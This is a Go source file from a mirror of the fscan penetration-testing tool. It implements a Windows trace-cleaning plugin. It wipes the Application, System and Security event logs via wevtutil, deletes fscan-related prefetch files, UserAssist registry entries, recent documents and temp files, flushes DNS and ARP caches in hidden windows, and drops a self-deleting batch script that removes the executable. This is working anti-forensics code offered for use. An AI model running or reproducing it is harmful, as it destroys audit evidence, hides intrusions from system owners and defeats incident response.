mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
359 lines
9.5 KiB
Go
359 lines
9.5 KiB
Go
//go:build windows
|
||
|
||
package cleaner
|
||
|
||
import (
|
||
"fmt"
|
||
"os"
|
||
"os/exec"
|
||
"path/filepath"
|
||
"strings"
|
||
"syscall"
|
||
"time"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
)
|
||
|
||
// cleanSystemTraces 清理Windows系统痕迹
|
||
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
|
||
report := make(map[string]interface{})
|
||
var cleaned []string
|
||
|
||
// 1. 清理Windows事件日志
|
||
if eventLogs := p.cleanWindowsEventLogs(); len(eventLogs) > 0 {
|
||
cleaned = append(cleaned, eventLogs...)
|
||
report["event_logs"] = eventLogs
|
||
}
|
||
|
||
// 2. 清理预取文件
|
||
if prefetchFiles := p.cleanPrefetchFiles(); len(prefetchFiles) > 0 {
|
||
cleaned = append(cleaned, prefetchFiles...)
|
||
report["prefetch_files"] = prefetchFiles
|
||
}
|
||
|
||
// 3. 清理注册表痕迹
|
||
if registryKeys := p.cleanRegistryTraces(); len(registryKeys) > 0 {
|
||
cleaned = append(cleaned, registryKeys...)
|
||
report["registry_keys"] = registryKeys
|
||
}
|
||
|
||
// 4. 清理最近文档记录
|
||
if recentDocs := p.cleanRecentDocuments(); len(recentDocs) > 0 {
|
||
cleaned = append(cleaned, recentDocs...)
|
||
report["recent_documents"] = recentDocs
|
||
}
|
||
|
||
// 5. 清理Windows临时文件
|
||
if tempFiles := p.cleanWindowsTempFiles(); len(tempFiles) > 0 {
|
||
cleaned = append(cleaned, tempFiles...)
|
||
report["temp_files"] = tempFiles
|
||
}
|
||
|
||
p.cleanupStats["system_entries"] += len(cleaned)
|
||
report["total_cleaned"] = len(cleaned)
|
||
|
||
return report
|
||
}
|
||
|
||
// cleanWindowsEventLogs 清理Windows事件日志
|
||
func (p *CleanerPlugin) cleanWindowsEventLogs() []string {
|
||
var cleaned []string
|
||
|
||
// 尝试清理应用程序日志中的相关条目
|
||
logs := []string{"Application", "System", "Security"}
|
||
|
||
for _, logName := range logs {
|
||
// 使用wevtutil清理日志
|
||
cmd := exec.Command("wevtutil", "cl", logName)
|
||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||
|
||
if err := cmd.Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("清理 %s 日志失败 (权限不足): %v", logName, err))
|
||
} else {
|
||
cleaned = append(cleaned, fmt.Sprintf("Windows Event Log: %s", logName))
|
||
common.LogSuccess(fmt.Sprintf("已清理Windows事件日志: %s", logName))
|
||
}
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanPrefetchFiles 清理预取文件
|
||
func (p *CleanerPlugin) cleanPrefetchFiles() []string {
|
||
var cleaned []string
|
||
|
||
prefetchDir := "C:\\Windows\\Prefetch"
|
||
if _, err := os.Stat(prefetchDir); os.IsNotExist(err) {
|
||
return cleaned
|
||
}
|
||
|
||
// 查找fscan相关的预取文件
|
||
entries, err := os.ReadDir(prefetchDir)
|
||
if err != nil {
|
||
common.LogDebug(fmt.Sprintf("无法访问预取目录 (权限不足): %v", err))
|
||
return cleaned
|
||
}
|
||
|
||
for _, entry := range entries {
|
||
if entry.IsDir() {
|
||
continue
|
||
}
|
||
|
||
filename := strings.ToUpper(entry.Name())
|
||
if strings.Contains(filename, "FSCAN") {
|
||
prefetchFile := filepath.Join(prefetchDir, entry.Name())
|
||
if err := os.Remove(prefetchFile); err != nil {
|
||
common.LogDebug(fmt.Sprintf("删除预取文件失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, prefetchFile)
|
||
common.LogSuccess(fmt.Sprintf("已删除预取文件: %s", entry.Name()))
|
||
}
|
||
}
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanRegistryTraces 清理注册表痕迹
|
||
func (p *CleanerPlugin) cleanRegistryTraces() []string {
|
||
var cleaned []string
|
||
|
||
// 清理UserAssist注册表项
|
||
if userAssist := p.cleanUserAssistRegistry(); len(userAssist) > 0 {
|
||
cleaned = append(cleaned, userAssist...)
|
||
}
|
||
|
||
// 清理MRU(最近使用)记录
|
||
if mru := p.cleanMRURegistry(); len(mru) > 0 {
|
||
cleaned = append(cleaned, mru...)
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanUserAssistRegistry 清理UserAssist注册表
|
||
func (p *CleanerPlugin) cleanUserAssistRegistry() []string {
|
||
var cleaned []string
|
||
|
||
// UserAssist键路径
|
||
keyPaths := []string{
|
||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count",
|
||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\\Count",
|
||
}
|
||
|
||
for _, keyPath := range keyPaths {
|
||
// 查询注册表项
|
||
cmd := exec.Command("reg", "query", keyPath)
|
||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||
|
||
output, err := cmd.Output()
|
||
if err != nil {
|
||
continue
|
||
}
|
||
|
||
// 查找fscan相关条目并删除
|
||
lines := strings.Split(string(output), "\n")
|
||
for _, line := range lines {
|
||
if strings.Contains(strings.ToUpper(line), "FSCAN") {
|
||
// 提取值名称
|
||
parts := strings.Fields(line)
|
||
if len(parts) > 0 {
|
||
valueName := parts[0]
|
||
|
||
// 删除注册表值
|
||
delCmd := exec.Command("reg", "delete", keyPath, "/v", valueName, "/f")
|
||
delCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||
|
||
if err := delCmd.Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("删除注册表项失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, fmt.Sprintf("Registry: %s\\%s", keyPath, valueName))
|
||
common.LogSuccess(fmt.Sprintf("已删除UserAssist记录: %s", valueName))
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanMRURegistry 清理MRU注册表记录
|
||
func (p *CleanerPlugin) cleanMRURegistry() []string {
|
||
var cleaned []string
|
||
|
||
// MRU键路径
|
||
mruKeys := []string{
|
||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs",
|
||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU",
|
||
}
|
||
|
||
for _, keyPath := range mruKeys {
|
||
// 这里可以添加更复杂的MRU清理逻辑
|
||
// 由于安全考虑,暂时只记录路径
|
||
common.LogDebug(fmt.Sprintf("检查MRU路径: %s", keyPath))
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanRecentDocuments 清理最近文档记录
|
||
func (p *CleanerPlugin) cleanRecentDocuments() []string {
|
||
var cleaned []string
|
||
|
||
// 获取用户目录
|
||
userProfile := os.Getenv("USERPROFILE")
|
||
if userProfile == "" {
|
||
return cleaned
|
||
}
|
||
|
||
// 最近文档目录
|
||
recentDir := filepath.Join(userProfile, "AppData", "Roaming", "Microsoft", "Windows", "Recent")
|
||
|
||
entries, err := os.ReadDir(recentDir)
|
||
if err != nil {
|
||
common.LogDebug(fmt.Sprintf("无法访问最近文档目录: %v", err))
|
||
return cleaned
|
||
}
|
||
|
||
for _, entry := range entries {
|
||
if entry.IsDir() {
|
||
continue
|
||
}
|
||
|
||
filename := strings.ToLower(entry.Name())
|
||
if strings.Contains(filename, "fscan") || strings.Contains(filename, "result") {
|
||
recentFile := filepath.Join(recentDir, entry.Name())
|
||
if err := os.Remove(recentFile); err != nil {
|
||
common.LogDebug(fmt.Sprintf("删除最近文档失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, recentFile)
|
||
common.LogSuccess(fmt.Sprintf("已删除最近文档: %s", entry.Name()))
|
||
}
|
||
}
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanWindowsTempFiles 清理Windows临时文件
|
||
func (p *CleanerPlugin) cleanWindowsTempFiles() []string {
|
||
var cleaned []string
|
||
|
||
// 临时目录
|
||
tempDirs := []string{
|
||
os.Getenv("TEMP"),
|
||
os.Getenv("TMP"),
|
||
"C:\\Windows\\Temp",
|
||
}
|
||
|
||
for _, tempDir := range tempDirs {
|
||
if tempDir == "" {
|
||
continue
|
||
}
|
||
|
||
entries, err := os.ReadDir(tempDir)
|
||
if err != nil {
|
||
continue
|
||
}
|
||
|
||
for _, entry := range entries {
|
||
if entry.IsDir() {
|
||
continue
|
||
}
|
||
|
||
filename := strings.ToLower(entry.Name())
|
||
if strings.Contains(filename, "fscan") || strings.Contains(filename, "tmp") {
|
||
tempFile := filepath.Join(tempDir, entry.Name())
|
||
|
||
// 检查文件是否太新(可能正在使用)
|
||
if info, err := entry.Info(); err == nil {
|
||
if time.Since(info.ModTime()) < 5*time.Minute {
|
||
continue
|
||
}
|
||
}
|
||
|
||
if err := os.Remove(tempFile); err != nil {
|
||
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, tempFile)
|
||
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanNetworkTraces 清理网络痕迹
|
||
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
|
||
report := make(map[string]interface{})
|
||
var cleaned []string
|
||
|
||
// 1. 清理DNS缓存
|
||
cmd := exec.Command("ipconfig", "/flushdns")
|
||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||
|
||
if err := cmd.Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, "DNS Cache")
|
||
common.LogSuccess("已清理DNS缓存")
|
||
}
|
||
|
||
// 2. 清理ARP缓存
|
||
arpCmd := exec.Command("arp", "-d", "*")
|
||
arpCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||
|
||
if err := arpCmd.Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, "ARP Cache")
|
||
common.LogSuccess("已清理ARP缓存")
|
||
}
|
||
|
||
report["network_caches"] = cleaned
|
||
report["total_cleaned"] = len(cleaned)
|
||
|
||
return report
|
||
}
|
||
|
||
// createWindowsSelfDestruct 创建Windows自毁脚本
|
||
func (p *CleanerPlugin) createWindowsSelfDestruct() map[string]interface{} {
|
||
report := make(map[string]interface{})
|
||
|
||
// 创建批处理自毁脚本
|
||
batchScript := fmt.Sprintf(`@echo off
|
||
timeout /t 2 /nobreak > nul
|
||
del /f /q "%s" 2>nul
|
||
del /f /q "%%~f0" 2>nul
|
||
exit`, p.currentExecutable)
|
||
|
||
scriptPath := filepath.Join(p.workingDirectory, "cleanup.bat")
|
||
|
||
if err := os.WriteFile(scriptPath, []byte(batchScript), 0644); err != nil {
|
||
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
|
||
report["status"] = "failed"
|
||
report["error"] = err.Error()
|
||
} else {
|
||
// 异步执行自毁脚本
|
||
go func() {
|
||
time.Sleep(1 * time.Second)
|
||
cmd := exec.Command(scriptPath)
|
||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||
cmd.Start()
|
||
}()
|
||
|
||
report["status"] = "scheduled"
|
||
report["script_path"] = scriptPath
|
||
common.LogInfo("已创建自毁脚本,将在退出后执行")
|
||
}
|
||
|
||
return report
|
||
}
|
||
|
||
// prepareSelfDestruction 准备自毁
|
||
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
|
||
return p.createWindowsSelfDestruct()
|
||
} |